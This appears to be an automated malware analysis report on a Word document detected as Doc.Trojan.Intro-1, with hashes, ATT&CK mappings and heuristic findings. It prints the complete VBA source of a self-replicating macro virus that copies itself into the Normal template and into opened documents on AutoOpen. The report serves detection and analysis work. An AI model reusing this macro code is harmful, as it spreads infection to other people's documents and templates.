Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c0b3c90f531be0a1…

MALICIOUS

Office (OLE)

74.0 KB Created: 2001-03-09 03:33:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 71ead381425db504590dc515ce4ea4d6 SHA-1: 73f43dbce2471d209d24fff24915688572341e68 SHA-256: c0b3c90f531be0a13d421508d63545dd4b50fb4043d15f51f022921c8d3e775a
200 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic

The sample is a malicious Word document containing a VBA macro with an AutoOpen subroutine, which is a common technique for executing malicious code upon opening. The macro attempts to copy itself to the Normal template or the active document, likely to establish persistence or spread. The document body discusses medical research, suggesting a lure to encourage macro execution. ClamAV also detected this file as Doc.Trojan.Intro-1.

Heuristics 4

  • ClamAV: Doc.Trojan.Intro-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Intro-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2064 bytes
SHA-256: 88b6b3926ca21ce39ddb45e3beebe9c94afa68e94a3fde94c8a178c00437a903
Detection
ClamAV: Doc.Trojan.Intro-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"
Sub Main()
'Hello
  If Not ActiveDocHaveCopied Then
    CopyToActiveDoc
  ElseIf Not NormHaveCopied Then
    CopyToNormal
    Else: MsgBox ("How are you! Please tell me your name!")
  End If
End Sub
Sub CopyToNormal()
  For Each aModule In NormalTemplate.VBProject.VBComponents
    If aModule.Name = "AutoOpen" Then
      IsDblName = True
      Exit For
    End If
  Next aModule
  If IsDblName Then
    With NormalTemplate.VBProject.VBComponents
      .Remove .Item("AutoOpen")
    End With
  End If
  Application.OrganizerCopy Source:=ActiveDocument.FullName, _
       Destination:=NormalTemplate.FullName, _
       Name:="AutoOpen", Object:=wdOrganizerObjectProjectItems
  NormalTemplate.Save
End Sub
Sub CopyToActiveDoc()
  For Each aModule In ActiveDocument.VBProject.VBComponents
    If aModule.Name = "AutoOpen" Then
      IsDblName = True
      Exit For
    End If
  Next aModule
  If IsDblName Then
    With ActiveDocument.VBProject.VBComponents
      .Remove .Item("AutoOpen")
    End With
  End If
  Application.OrganizerCopy Source:=NormalTemplate.FullName, _
       Destination:=ActiveDocument.FullName, _
       Name:="AutoOpen", Object:=wdOrganizerObjectProjectItems
  ActiveDocument.Save
End Sub
Function NormHaveCopied() As Boolean
  For Each aModule In NormalTemplate.VBProject.VBComponents
    If aModule.Name = "AutoOpen" Then
      If aModule.CodeModule.Lines(2, 1) = "'Hello" Then NormHaveCopied = True
    End If
  Next aModule
End Function
Function ActiveDocHaveCopied() As Boolean
  For Each aModule In ActiveDocument.VBProject.VBComponents
    If aModule.Name = "AutoOpen" Then
      If aModule.CodeModule.Lines(2, 1) = "'Hello" Then ActiveDocHaveCopied = True
    End If
  Next aModule
End Function

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